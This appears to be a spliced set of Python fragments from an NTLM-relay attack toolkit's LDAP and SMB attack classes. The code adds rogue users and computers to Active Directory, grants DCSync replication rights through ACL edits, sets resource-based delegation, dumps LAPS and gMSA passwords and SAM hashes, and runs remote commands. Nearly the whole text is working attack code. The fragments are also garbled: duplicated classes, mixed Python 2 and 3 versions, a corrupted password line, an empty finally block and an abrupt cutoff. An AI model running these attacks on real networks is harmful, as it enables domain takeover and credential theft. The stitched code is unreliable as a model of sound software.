def __init__(self, config, SMBClient, username):
ProtocolAttack.__init__(self, config, SMBClient, username)
if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
self.__SMBConnection = SMBConnection(existingConnection=SMBClient)
else:
self.__SMBConnection = SMBClient
self.__answerTMP = ''
if self.config.interactive:
#Launch locally listening interactive shell
self.tcpshell = TcpShell()
else:
self.tcpshell = None
if self.config.exeFile is not None:
self.installService = serviceinstall.ServiceInstall(SMBClient, self.config.exeFile)
def __init__(self, config, LDAPClient, username):
self.computerName = '' if config.addcomputer == 'Rand' else config.addcomputer
ProtocolAttack.__init__(self, config, LDAPClient, username)
if self.config.interactive:
# Launch locally listening interactive shell.
self.tcp_shell = TcpShell()
class LDAPAttack(ProtocolAttack):
"""
This is the default LDAP attack. It checks the privileges of the relayed account
and performs a domaindump if the user does not have administrative privileges.
If the user is an Enterprise or Domain admin, a new user is added to escalate to DA.
"""
PLUGIN_NAMES = ["LDAP", "LDAPS"]
# ACL constants
# When reading, these constants are actually represented by
# the following for Active Directory specific Access Masks
# Reference: https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2
GENERIC_READ = 0x00020094
GENERIC_WRITE = 0x00020028
GENERIC_EXECUTE = 0x00020004
GENERIC_ALL = 0x000F01FF
def __init__(self, config, LDAPClient, username):
self.computerName = '' if config.addcomputer == 'Rand' else config.addcomputer
ProtocolAttack.__init__(self, config, LDAPClient, username)
if self.config.interactive:
# Launch locally listening interactive shell.
self.tcp_shell = TcpShell()
def addComputer(self, parent, domainDumper):
"""
Add a new computer. Parent is preferably CN=computers,DC=Domain,DC=local, but can
also be an OU or other container where we have write privileges
"""
global alreadyAddedComputer
if alreadyAddedComputer:
LOG.error('New computer already added. Refusing to add another')
return
# Random password
newPassword = ''.join(
random.choice(string.ascii_letters + string.digits +
string.punctuation) for _ in range(15))
# Get the domain we are in
domaindn = domainDumper.root
domain = re.sub(',DC=',
'.',
domaindn[domaindn.find('DC='):],
flags=re.I)[3:]
computerName = self.computerName
if not computerName:
# Random computername
newComputer = (
''.join(random.choice(string.ascii_letters)
for _ in range(8)) + '$').upper()
else:
newComputer = computerName if computerName.endswith(
'$') else computerName + '$'
computerHostname = newComputer[:-1]
newComputerDn = ('CN=%s,%s' %
(computerHostname, parent)).encode('utf-8')
# Default computer SPNs
spns = [
'HOST/%s' % computerHostname,
'HOST/%s.%s' % (computerHostname, domain),
'RestrictedKrbHost/%s' % computerHostname,
'RestrictedKrbHost/%s.%s' % (computerHostname, domain),
]
ucd = {
'dnsHostName': '%s.%s' % (computerHostname, domain),
'userAccountControl': 4096,
'servicePrincipalName': spns,
'sAMAccountName': newComputer,
'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le')
}
LOG.debug('New computer info %s', ucd)
LOG.info('Attempting to create computer in: %s', parent)
res = self.client.add(
newComputerDn.decode('utf-8'),
['top', 'person', 'organizationalPerson', 'user', 'computer'], ucd)
if not res:
# Adding computers requires LDAPS
if self.client.result[
'result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl:
LOG.error(
'Failed to add a new computer. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing account.'
)
else:
LOG.error('Failed to add a new computer: %s' %
str(self.client.result))
return False
else:
LOG.info(
'Adding new computer with username: %s and password: %s result: OK'
% (newComputer, newPassword))
alreadyAddedComputer = True
# Return the SAM name
return newComputer
def addUser(self, parent, domainDumper):
"""
Add a new user. Parent is preferably CN=Users,DC=Domain,DC=local, but can
also be an OU or other container where we have write privileges
"""
global alreadyEscalated
if alreadyEscalated:
LOG.error('New user already added. Refusing to add another')
return
# Random password
newPassword = ''.join(
random.choice(string.ascii_letters + string.digits +
string.punctuation) for _ in range(15))
# Random username
newUser = ''.join(
random.choice(string.ascii_letters) for _ in range(10))
newUserDn = 'CN=%s,%s' % (newUser, parent)
ucd = {
'objectCategory':
'CN=Person,CN=Schema,CN=Configuration,%s' % domainDumper.root,
'distinguishedName':
newUserDn,
'cn':
newUser,
'sn':
newUser,
'givenName':
newUser,
'displayName':
newUser,
'name':
newUser,
'userAccountControl':
512,
'accountExpires':
'0',
'sAMAccountName':
newUser,
'unicodePwd':
'"{}"'.format(newPassword).encode('utf-16-le')
}
LOG.info('Attempting to create user in: %s', parent)
res = self.client.add(
newUserDn, ['top', 'person', 'organizationalPerson', 'user'], ucd)
if not res:
# Adding users requires LDAPS
if self.client.result[
'result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl:
LOG.error(
'Failed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.'
)
else:
LOG.error('Failed to add a new user: %s' %
str(self.client.result))
return False
else:
LOG.info(
'Adding new user with username: %s and password: %s result: OK'
% (newUser, newPassword))
# Return the DN
return newUserDn
def addUserToGroup(self, userDn, domainDumper, groupDn):
global alreadyEscalated
# For display only
groupName = groupDn.split(',')[0][3:]
userName = userDn.split(',')[0][3:]
# Now add the user as a member to this group
res = self.client.modify(groupDn,
{'member': [(ldap3.MODIFY_ADD, [userDn])]})
if res:
LOG.info('Adding user: %s to group %s result: OK' %
(userName, groupName))
LOG.info('Privilege escalation succesful, shutting down...')
alreadyEscalated = True
_thread.interrupt_main()
else:
LOG.error('Failed to add user to %s group: %s' %
(groupName, str(self.client.result)))
def delegateAttack(self, usersam, targetsam, domainDumper, sid):
global delegatePerformed
if targetsam in delegatePerformed:
LOG.info(
'Delegate attack already performed for this computer, skipping'
)
return
if not usersam:
usersam = self.addComputer('CN=Computers,%s' % domainDumper.root,
domainDumper)
self.config.escalateuser = usersam
if not sid:
# Get escalate user sid
result = self.getUserInfo(domainDumper, usersam)
if not result:
LOG.error('User to escalate does not exist!')
return
escalate_sid = str(result[1])
else:
escalate_sid = usersam
# Get target computer DN
result = self.getUserInfo(domainDumper, targetsam)
if not result:
LOG.error('Computer to modify does not exist! (wrong domain?)')
return
target_dn = result[0]
self.client.search(target_dn,
'(objectClass=*)',
search_scope=ldap3.BASE,
attributes=[
'SAMAccountName', 'objectSid',
'msDS-AllowedToActOnBehalfOfOtherIdentity'
])
targetuser = None
for entry in self.client.response:
if entry['type'] != 'searchResEntry':
continue
targetuser = entry
if not targetuser:
LOG.error('Could not query target user properties')
return
try:
sd = ldaptypes.SR_SECURITY_DESCRIPTOR(
data=targetuser['raw_attributes']
['msDS-AllowedToActOnBehalfOfOtherIdentity'][0])
LOG.debug('Currently allowed sids:')
for ace in sd['Dacl'].aces:
LOG.debug(' %s' % ace['Ace']['Sid'].formatCanonical())
except IndexError:
# Create DACL manually
sd = create_empty_sd()
sd['Dacl'].aces.append(create_allow_ace(escalate_sid))
self.client.modify(
targetuser['dn'], {
'msDS-AllowedToActOnBehalfOfOtherIdentity':
[ldap3.MODIFY_REPLACE, [sd.getData()]]
})
if self.client.result['result'] == 0:
LOG.info('Delegation rights modified succesfully!')
LOG.info('%s can now impersonate users on %s via S4U2Proxy',
usersam, targetsam)
delegatePerformed.append(targetsam)
else:
if self.client.result['result'] == 50:
LOG.error(
'Could not modify object, the server reports insufficient rights: %s',
self.client.result['message'])
elif self.client.result['result'] == 19:
LOG.error(
'Could not modify object, the server reports a constrained violation: %s',
self.client.result['message'])
else:
LOG.error('The server returned an error: %s',
self.client.result['message'])
return
def aclAttack(self, userDn, domainDumper):
global alreadyEscalated
if alreadyEscalated:
LOG.error('ACL attack already performed. Refusing to continue')
return
# Dictionary for restore data
restoredata = {}
# Query for the sid of our user
self.client.search(userDn,
'(objectCategory=user)',
attributes=['sAMAccountName', 'objectSid'])
entry = self.client.entries[0]
username = entry['sAMAccountName'].value
usersid = entry['objectSid'].value
LOG.debug('Found sid for user %s: %s' % (username, usersid))
# Set SD flags to only query for DACL
controls = security_descriptor_control(sdflags=0x04)
alreadyEscalated = True
LOG.info('Querying domain security descriptor')
self.client.search(
domainDumper.root,
'(&(objectCategory=domain))',
attributes=['SAMAccountName', 'nTSecurityDescriptor'],
controls=controls)
entry = self.client.entries[0]
secDescData = entry['nTSecurityDescriptor'].raw_values[0]
secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)
# Save old SD for restore purposes
restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8')
restoredata['target_sid'] = usersid
secDesc['Dacl']['Data'].append(
create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid))
secDesc['Dacl']['Data'].append(
create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid))
dn = entry.entry_dn
data = secDesc.getData()
self.client.modify(
dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])},
controls=controls)
if self.client.result['result'] == 0:
alreadyEscalated = True
LOG.info(
'Success! User %s now has Replication-Get-Changes-All privileges on the domain',
username)
LOG.info('Try using DCSync with secretsdump.py and this user :)')
# Query the SD again to see what AD made of it
self.client.search(
domainDumper.root,
'(&(objectCategory=domain))',
attributes=['SAMAccountName', 'nTSecurityDescriptor'],
controls=controls)
entry = self.client.entries[0]
newSD = entry['nTSecurityDescriptor'].raw_values[0]
# Save this to restore the SD later on
restoredata['target_dn'] = dn
restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8')
restoredata['success'] = True
self.writeRestoreData(restoredata, dn)
return True
else:
LOG.error('Error when updating ACL: %s' % self.client.result)
return False
def writeRestoreData(self, restoredata, domaindn):
output = {}
domain = re.sub(',DC=',
'.',
domaindn[domaindn.find('DC='):],
flags=re.I)[3:]
output['config'] = {
'server': self.client.server.host,
'domain': domain
}
output['history'] = [{
'operation': 'add_domain_sync',
'data': restoredata,
'contextuser': self.username
}]
now = datetime.datetime.now()
filename = 'aclpwn-%s.restore' % now.strftime("%Y%m%d-%H%M%S")
# Save the json to file
with codecs.open(filename, 'w', 'utf-8') as outfile:
json.dump(output, outfile)
LOG.info('Saved restore state to %s', filename)
def validatePrivileges(self, uname, domainDumper):
# Find the user's DN
membersids = []
sidmapping = {}
privs = {
'create': False, # Whether we can create users
'createIn': None, # Where we can create users
'escalateViaGroup': False, # Whether we can escalate via a group
'escalateGroup': None, # The group we can escalate via
'aclEscalate':
False, # Whether we can escalate via ACL on the domain object
'aclEscalateIn': None # The object which ACL we can edit
}
self.client.search(domainDumper.root,
'(sAMAccountName=%s)' % escape_filter_chars(uname),
attributes=['objectSid', 'primaryGroupId'])
user = self.client.entries[0]
usersid = user['objectSid'].value
sidmapping[usersid] = user.entry_dn
membersids.append(usersid)
# The groups the user is a member of
self.client.search(domainDumper.root,
'(member:1.2.840.113556.1.4.1941:=%s)' %
escape_filter_chars(user.entry_dn),
attributes=['name', 'objectSid'])
LOG.debug('User is a member of: %s' % self.client.entries)
for entry in self.client.entries:
sidmapping[entry['objectSid'].value] = entry.entry_dn
membersids.append(entry['objectSid'].value)
# Also search by primarygroupid
# First get domain SID
self.client.search(domainDumper.root,
'(objectClass=domain)',
attributes=['objectSid'])
domainsid = self.client.entries[0]['objectSid'].value
gid = user['primaryGroupId'].value
# Now search for this group by SID
self.client.search(
domainDumper.root,
'(objectSid=%s-%d)' % (domainsid, gid),
attributes=['name', 'objectSid', 'distinguishedName'])
group = self.client.entries[0]
LOG.debug('User is a member of: %s' % self.client.entries)
# Add the group sid of the primary group to the list
sidmapping[group['objectSid'].value] = group.entry_dn
membersids.append(group['objectSid'].value)
controls = security_descriptor_control(
sdflags=0x05) # Query Owner and Dacl
# Now we have all the SIDs applicable to this user, now enumerate the privileges of domains and OUs
entries = self.client.extend.standard.paged_search(
domainDumper.root,
'(|(objectClass=domain)(objectClass=organizationalUnit))',
attributes=['nTSecurityDescriptor', 'objectClass'],
controls=controls,
generator=True)
self.checkSecurityDescriptors(entries, privs, membersids, sidmapping,
domainDumper)
# Also get the privileges on the default Users container
entries = self.client.extend.standard.paged_search(
domainDumper.root,
'(&(cn=Users)(objectClass=container))',
attributes=['nTSecurityDescriptor', 'objectClass'],
controls=controls,
generator=True)
self.checkSecurityDescriptors(entries, privs, membersids, sidmapping,
domainDumper)
# Interesting groups we'd like to be a member of, in order of preference
interestingGroups = [
'%s-%d' % (domainsid, 519), # Enterprise admins
'%s-%d' % (domainsid, 512), # Domain admins
'S-1-5-32-544', # Built-in Administrators
'S-1-5-32-551', # Backup operators
'S-1-5-32-548', # Account operators
]
privs['escalateViaGroup'] = False
for group in interestingGroups:
self.client.search(
domainDumper.root,
'(objectSid=%s)' % group,
attributes=['nTSecurityDescriptor', 'objectClass'],
controls=controls)
groupdata = self.client.response
self.checkSecurityDescriptors(groupdata, privs, membersids,
sidmapping, domainDumper)
if privs['escalateViaGroup']:
# We have a result - exit the loop
break
return (usersid, privs)
def getUserInfo(self, domainDumper, samname):
entries = self.client.search(domainDumper.root,
'(sAMAccountName=%s)' %
escape_filter_chars(samname),
attributes=['objectSid'])
try:
dn = self.client.entries[0].entry_dn
sid = self.client.entries[0]['objectSid']
return (dn, sid)
except IndexError:
LOG.error('User not found in LDAP: %s' % samname)
return False
def checkSecurityDescriptors(self, entries, privs, membersids, sidmapping,
domainDumper):
standardrights = [
self.GENERIC_ALL, self.GENERIC_WRITE, self.GENERIC_READ,
ACCESS_MASK.WRITE_DACL
]
for entry in entries:
if entry['type'] != 'searchResEntry':
continue
dn = entry['dn']
try:
sdData = entry['raw_attributes']['nTSecurityDescriptor'][0]
except IndexError:
# We don't have the privileges to read this security descriptor
LOG.debug('Access to security descriptor was denied for DN %s',
dn)
continue
hasFullControl = False
secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR()
secDesc.fromString(sdData)
if secDesc['OwnerSid'] != '' and secDesc[
'OwnerSid'].formatCanonical() in membersids:
sid = secDesc['OwnerSid'].formatCanonical()
LOG.debug(
'Permission found: Full Control on %s; Reason: Owner via %s'
% (dn, sidmapping[sid]))
hasFullControl = True
# Iterate over all the ACEs
for ace in secDesc['Dacl'].aces:
sid = ace['Ace']['Sid'].formatCanonical()
if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace[
'AceType'] != ACCESS_ALLOWED_ACE.ACE_TYPE:
continue
if not ace.hasFlag(ACE.INHERITED_ACE) and ace.hasFlag(
ACE.INHERIT_ONLY_ACE):
# ACE is set on this object, but only inherited, so not applicable to us
continue
# Check if the ACE has restrictions on object type (inherited case)
if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \
and ace.hasFlag(ACE.INHERITED_ACE) \
and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT):
# Verify if the ACE applies to this object type
inheritedObjectType = bin_to_string(
ace['Ace']['InheritedObjectType']).lower()
if not self.aceApplies(
inheritedObjectType,
entry['raw_attributes']['objectClass'][-1]):
continue
# Check for non-extended rights that may not apply to us
if ace['Ace']['Mask']['Mask'] in standardrights or ace['Ace'][
'Mask'].hasPriv(ACCESS_MASK.WRITE_DACL):
# Check if this applies to our objecttype
if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace[
'Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.
ACE_OBJECT_TYPE_PRESENT):
objectType = bin_to_string(
ace['Ace']['ObjectType']).lower()
if not self.aceApplies(
objectType,
entry['raw_attributes']['objectClass'][-1]):
# LOG.debug('ACE does not apply, only to %s', objectType)
continue
if sid in membersids:
# Generic all
if ace['Ace']['Mask'].hasPriv(self.GENERIC_ALL):
ace.dump()
LOG.debug(
'Permission found: Full Control on %s; Reason: GENERIC_ALL via %s'
% (dn, sidmapping[sid]))
hasFullControl = True
if can_create_users(ace) or hasFullControl:
if not hasFullControl:
LOG.debug(
'Permission found: Create users in %s; Reason: Granted to %s'
% (dn, sidmapping[sid]))
if dn == 'CN=Users,%s' % domainDumper.root:
# We can create users in the default container, this is preferred
privs['create'] = True
privs['createIn'] = dn
else:
# Could be a different OU where we have access
# store it until we find a better place
if privs[
'createIn'] != 'CN=Users,%s' % domainDumper.root and b'organizationalUnit' in entry[
'raw_attributes']['objectClass']:
privs['create'] = True
privs['createIn'] = dn
if can_add_member(ace) or hasFullControl:
if b'group' in entry['raw_attributes']['objectClass']:
# We can add members to a group
if not hasFullControl:
LOG.debug(
'Permission found: Add member to %s; Reason: Granted to %s'
% (dn, sidmapping[sid]))
privs['escalateViaGroup'] = True
privs['escalateGroup'] = dn
if ace['Ace']['Mask'].hasPriv(
ACCESS_MASK.WRITE_DACL) or hasFullControl:
# Check if the ACE is an OBJECT ACE, if so the WRITE_DACL is applied to
# a property, which is both weird and useless, so we skip it
if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \
and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT):
# LOG.debug('Skipping WRITE_DACL since it has an ObjectType set')
continue
if not hasFullControl:
LOG.debug(
'Permission found: Write Dacl of %s; Reason: Granted to %s'
% (dn, sidmapping[sid]))
# We can modify the domain Dacl
if b'domain' in entry['raw_attributes']['objectClass']:
privs['aclEscalate'] = True
privs['aclEscalateIn'] = dn
@staticmethod
def aceApplies(ace_guid, object_class):
'''
Checks if an ACE applies to this object (based on object classes).
Note that this function assumes you already verified that InheritedObjectType is set (via the flag).
If this is not set, the ACE applies to all object types.
'''
try:
our_ace_guid = OBJECTTYPE_GUID_MAP[object_class]
except KeyError:
return False
if ace_guid == our_ace_guid:
return True
# If none of these match, the ACE does not apply to this object
return False
def run(self):
#self.client.search('dc=vulnerable,dc=contoso,dc=com', '(objectclass=person)')
#print self.client.entries
global dumpedDomain
# Set up a default config
domainDumpConfig = ldapdomaindump.domainDumpConfig()
# Change the output directory to configured rootdir
domainDumpConfig.basepath = self.config.lootdir
# Create new dumper object
domainDumper = ldapdomaindump.domainDumper(self.client.server,
self.client,
domainDumpConfig)
if self.config.interactive:
if self.tcp_shell is not None:
LOG.info(
'Started interactive Ldap shell via TCP on 127.0.0.1:%d' %
self.tcp_shell.port)
# Start listening and launch interactive shell.
self.tcp_shell.listen()
ldap_shell = LdapShell(self.tcp_shell, domainDumper,
self.client)
ldap_shell.cmdloop()
return
# If specified validate the user's privileges. This might take a while on large domains but will
# identify the proper containers for escalating via the different techniques.
if self.config.validateprivs:
LOG.info(
'Enumerating relayed user\'s privileges. This may take a while on large domains'
)
userSid, privs = self.validatePrivileges(self.username,
domainDumper)
if privs['create']:
LOG.info('User privileges found: Create user')
if privs['escalateViaGroup']:
name = privs['escalateGroup'].split(',')[0][3:]
LOG.info(
'User privileges found: Adding user to a privileged group (%s)'
% name)
if privs['aclEscalate']:
LOG.info('User privileges found: Modifying domain ACL')
# If validation of privileges is not desired, we assumed that the user has permissions to escalate
# an existing user via ACL attacks.
else:
LOG.info(
'Assuming relayed user has privileges to escalate a user via ACL attack'
)
privs = dict()
privs['create'] = False
privs['aclEscalate'] = True
privs['escalateViaGroup'] = False
# We prefer ACL escalation since it is more quiet
if self.config.aclattack and privs['aclEscalate']:
LOG.debug('Performing ACL attack')
if self.config.escalateuser:
# We can escalate an existing user
result = self.getUserInfo(domainDumper,
self.config.escalateuser)
# Unless that account does not exist of course
if not result:
LOG.error('Unable to escalate without a valid user.')
else:
userDn, userSid = result
# Perform the ACL attack
self.aclAttack(userDn, domainDumper)
elif privs['create']:
# Create a nice shiny new user for the escalation
userDn = self.addUser(privs['createIn'], domainDumper)
if not userDn:
LOG.error('Unable to escalate without a valid user.')
# Perform the ACL attack
else:
self.aclAttack(userDn, domainDumper)
else:
LOG.error('Cannot perform ACL escalation because we do not have create user '\
'privileges. Specify a user to assign privileges to with --escalate-user')
# If we can't ACL escalate, try adding us to a privileged group
if self.config.addda and privs['escalateViaGroup']:
LOG.debug('Performing Group attack')
if self.config.escalateuser:
# We can escalate an existing user
result = self.getUserInfo(domainDumper,
self.config.escalateuser)
# Unless that account does not exist of course
if not result:
LOG.error('Unable to escalate without a valid user.')
# Perform the Group attack
else:
userDn, userSid = result
self.addUserToGroup(userDn, domainDumper,
privs['escalateGroup'])
elif privs['create']:
# Create a nice shiny new user for the escalation
userDn = self.addUser(privs['createIn'], domainDumper)
if not userDn:
LOG.error(
'Unable to escalate without a valid user, aborting.')
# Perform the Group attack
else:
self.addUserToGroup(userDn, domainDumper,
privs['escalateGroup'])
else:
LOG.error('Cannot perform ACL escalation because we do not have create user '\
'privileges. Specify a user to assign privileges to with --escalate-user')
# Dump LAPS Passwords
if self.config.dumplaps:
LOG.info("Attempting to dump LAPS passwords")
success = self.client.search(
domainDumper.root,
'(&(objectCategory=computer))',
search_scope=ldap3.SUBTREE,
attributes=['DistinguishedName', 'ms-MCS-AdmPwd'])
if success:
fd = None
filename = "laps-dump-" + self.username + "-" + str(
random.randint(0, 99999))
count = 0
for entry in self.client.response:
try:
dn = "DN:" + entry['attributes']['distinguishedname']
passwd = "Password:"******"a+")
count += 1
LOG.debug(dn)
LOG.debug(passwd)
fd.write(dn)
fd.write("\n")
fd.write(passwd)
fd.write("\n")
except:
continue
if fd is None:
LOG.info(
"The relayed user %s does not have permissions to read any LAPS passwords"
% self.username)
else:
LOG.info(
"Successfully dumped %d LAPS passwords through relayed account %s"
% (count, self.username))
fd.close()
#Dump gMSA Passwords
if self.config.dumpgmsa:
LOG.info("Attempting to dump gMSA passwords")
success = self.client.search(
domainDumper.root,
'(&(ObjectClass=msDS-GroupManagedServiceAccount))',
search_scope=ldap3.SUBTREE,
attributes=['sAMAccountName', 'msDS-ManagedPassword'])
if success:
fd = None
filename = "gmsa-dump-" + self.username + "-" + str(
random.randint(0, 99999))
count = 0
for entry in self.client.response:
try:
sam = entry['attributes']['sAMAccountName']
data = entry['attributes']['msDS-ManagedPassword']
blob = MSDS_MANAGEDPASSWORD_BLOB()
blob.fromString(data)
hash = MD4.new()
hash.update(blob['CurrentPassword'][:-2])
passwd = binascii.hexlify(
hash.digest()).decode("utf-8")
userpass = sam + ':::' + passwd
LOG.info(userpass)
count += 1
if fd is None:
fd = open(filename, "a+")
fd.write(userpass)
fd.write("\n")
except:
continue
if fd is None:
LOG.info(
"The relayed user %s does not have permissions to read any gMSA passwords"
% self.username)
else:
LOG.info(
"Successfully dumped %d gMSA passwords through relayed account %s"
% (count, self.username))
fd.close()
# Perform the Delegate attack if it is enabled and we relayed a computer account
if self.config.delegateaccess and self.username[-1] == '$':
self.delegateAttack(self.config.escalateuser, self.username,
domainDumper, self.config.sid)
return
# Add a new computer if that is requested
# privileges required are not yet enumerated, neither is ms-ds-MachineAccountQuota
if self.config.addcomputer:
self.client.search(domainDumper.root,
"(ObjectClass=domain)",
attributes=['wellKnownObjects'])
# Computer well-known GUID
# https://social.technet.microsoft.com/Forums/windowsserver/en-US/d028952f-a25a-42e6-99c5-28beae2d3ac3/how-can-i-know-the-default-computer-container?forum=winservergen
computerscontainer = [
entry.decode('utf-8').split(":")[-1]
for entry in self.client.entries[0]["wellKnownObjects"]
if b"AA312825768811D1ADED00C04FD8D5CD" in entry
][0]
LOG.debug("Computer container is {}".format(computerscontainer))
self.addComputer(computerscontainer, domainDumper)
return
# Last attack, dump the domain if no special privileges are present
if not dumpedDomain and self.config.dumpdomain:
# Do this before the dump is complete because of the time this can take
dumpedDomain = True
LOG.info('Dumping domain info for first time')
domainDumper.domainDump()
LOG.info('Domain info dumped into lootdir!')
class SMBAttack(Thread):
def __init__(self, config, SMBClient, username):
Thread.__init__(self)
self.daemon = True
if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
self.__SMBConnection = SMBConnection(existingConnection = SMBClient)
else:
self.__SMBConnection = SMBClient
self.config = config
self.__answerTMP = ''
if self.config.interactive:
#Launch locally listening interactive shell
self.tcpshell = TcpShell()
else:
self.tcpshell = None
if self.config.exeFile is not None:
self.installService = serviceinstall.ServiceInstall(SMBClient, self.config.exeFile)
def __answer(self, data):
self.__answerTMP += data
def run(self):
# Here PUT YOUR CODE!
if self.tcpshell is not None:
logging.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port)
#Start listening and launch interactive shell
self.tcpshell.listen()
self.shell = MiniImpacketShell(self.__SMBConnection,self.tcpshell.socketfile)
self.shell.cmdloop()
return
if self.config.exeFile is not None:
result = self.installService.install()
if result is True:
logging.info("Service Installed.. CONNECT!")
self.installService.uninstall()
else:
from impacket.examples.secretsdump import RemoteOperations, SAMHashes
samHashes = None
try:
# We have to add some flags just in case the original client did not
# Why? needed for avoiding INVALID_PARAMETER
flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
flags2 |= smb.SMB.FLAGS2_LONG_NAMES
self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)
remoteOps = RemoteOperations(self.__SMBConnection, False)
remoteOps.enableRegistry()
except Exception, e:
# Something wen't wrong, most probably we don't have access as admin. aborting
logging.error(str(e))
return
try:
if self.config.command is not None:
remoteOps._RemoteOperations__executeRemote(self.config.command)
logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
self.__answerTMP = ''
self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
print self.__answerTMP.decode(self.config.encoding, 'replace')
else:
bootKey = remoteOps.getBootKey()
remoteOps._RemoteOperations__serviceDeleted = True
samFileName = remoteOps.saveSAM()
samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
samHashes.dump()
samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes')
logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
except Exception, e:
logging.error(str(e))
finally:
class SMBAttack(ProtocolAttack):
"""
This is the SMB default attack class.
It will either dump the hashes from the remote target, or open an interactive
shell if the -i option is specified.
"""
PLUGIN_NAMES = ["SMB"]
def __init__(self, config, SMBClient, username):
ProtocolAttack.__init__(self, config, SMBClient, username)
if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
self.__SMBConnection = SMBConnection(existingConnection=SMBClient)
else:
self.__SMBConnection = SMBClient
self.__answerTMP = ''
if self.config.interactive:
#Launch locally listening interactive shell
self.tcpshell = TcpShell()
else:
self.tcpshell = None
if self.config.exeFile is not None:
self.installService = serviceinstall.ServiceInstall(SMBClient, self.config.exeFile)
def __answer(self, data):
self.__answerTMP += data
def run(self):
# Here PUT YOUR CODE!
if self.tcpshell is not None:
LOG.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port)
#Start listening and launch interactive shell
self.tcpshell.listen()
self.shell = MiniImpacketShell(self.__SMBConnection,self.tcpshell.socketfile)
self.shell.cmdloop()
return
if self.config.exeFile is not None:
result = self.installService.install()
if result is True:
LOG.info("Service Installed.. CONNECT!")
self.installService.uninstall()
else:
from impacket.examples.secretsdump import RemoteOperations, SAMHashes
from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins
samHashes = None
try:
# We have to add some flags just in case the original client did not
# Why? needed for avoiding INVALID_PARAMETER
if self.__SMBConnection.getDialect() == smb.SMB_DIALECT:
flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
flags2 |= smb.SMB.FLAGS2_LONG_NAMES
self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)
remoteOps = RemoteOperations(self.__SMBConnection, False)
remoteOps.enableRegistry()
except Exception, e:
if "rpc_s_access_denied" in str(e): # user doesn't have correct privileges
if self.config.enumLocalAdmins:
LOG.info(u"Relayed user doesn't have admin on {}. Attempting to enumerate users who do...".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding)))
enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection)
try:
localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins()
LOG.info(u"Host {} has the following local admins (hint: try relaying one of them here...)".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding)))
for name in localAdminNames:
LOG.info(u"Host {} local admin member: {} ".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding), name))
except DCERPCException, e:
LOG.info("SAMR access denied")
return
# Something else went wrong. aborting
LOG.error(str(e))
return
try:
if self.config.command is not None:
remoteOps._RemoteOperations__executeRemote(self.config.command)
LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
self.__answerTMP = ''
self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
print self.__answerTMP.decode(self.config.encoding, 'replace')
else:
bootKey = remoteOps.getBootKey()
remoteOps._RemoteOperations__serviceDeleted = True
samFileName = remoteOps.saveSAM()
samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
samHashes.dump()
samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes')
LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
except Exception, e:
LOG.error(str(e))
class SMBAttack(Thread):
def __init__(self, config, SMBClient, username):
Thread.__init__(self)
self.daemon = True
if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
self.__SMBConnection = SMBConnection(existingConnection=SMBClient)
else:
self.__SMBConnection = SMBClient
self.config = config
self.__answerTMP = ""
if self.config.interactive:
# Launch locally listening interactive shell
self.tcpshell = TcpShell()
else:
self.tcpshell = None
if self.config.exeFile is not None:
self.installService = serviceinstall.ServiceInstall(SMBClient, self.config.exeFile)
def __answer(self, data):
self.__answerTMP += data
def run(self):
# Here PUT YOUR CODE!
if self.tcpshell is not None:
logging.info("Started interactive SMB client shell via TCP on 127.0.0.1:%d" % self.tcpshell.port)
# Start listening and launch interactive shell
self.tcpshell.listen()
self.shell = MiniImpacketShell(self.__SMBConnection, self.tcpshell.socketfile)
